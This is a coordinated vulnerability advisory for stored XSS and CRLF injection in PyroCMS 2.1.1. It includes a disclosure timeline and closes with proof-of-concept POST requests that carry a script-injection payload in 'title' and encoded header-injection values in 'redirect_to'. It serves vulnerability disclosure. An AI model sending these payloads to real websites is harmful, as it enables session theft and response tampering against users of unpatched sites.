PyroCMS 2.1.1 CRLF Injection And Stored XSS Vulnerability Vendor: HappyNinjas Ltd Product web page: http://www.pyrocms.com Affected version: 2.1.1 (Community) Summary: PyroCMS is a CMS built using the CodeIgniter PHP framework. Using an MVC architecture it was built with modularity in mind. Lightweight, themeable and dynamic. Desc: PyroCMS suffers from a stored XSS and HTTP Response Splitting vulnerability when parsing user input to the 'title' and 'redirect_to' parameters via POST method thru 'index.php' script. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session or insert arbitrary HTTP headers, which are included in a response sent to the user. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.21 PHP 5.3.8 MySQL 5.5.20 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk [20.05.2012] Vulnerabilities discovered. [20.05.2012] Initial contact with the vendor. [20.05.2012] Vendor responds asking more details. [20.05.2012] Sent detailed information to the vendor. [21.05.2012] Vendor confirms the issues. [22.05.2012] Asked vendor for status update. [27.05.2012] Vendor replies. [03.06.2012] Vendor releases version 2.1.2 to address these issues. [04.06.2012] Coordinated public security advisory released. Advisory ID: ZSL-2012-5092 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5092.php Vendor Advisory: http://www.pyrocms.com/store/details/pyrocms_professional 20.05.2012 ---- #1 - POST http://localhost/pyrocms/index.php/admin/blog/categories/create_ajax HTTP/1.1 csrf_hash_name 28b57b25dd24b3adb785de7fd863b6be title "><script>alert(1);</script> #2 - POST http://localhost/pyrocms/index.php/users/login HTTP/1.1 btnLogin Login email lab@zeroscience.mk password redirect_to %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection remember 1 #2a - POST http://localhost/pyrocms/index.php/comments/create/pages/4 HTTP/1.1 comment t00t%20w00t! d0ntf1llth1s1n redirect_to %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection submit Comment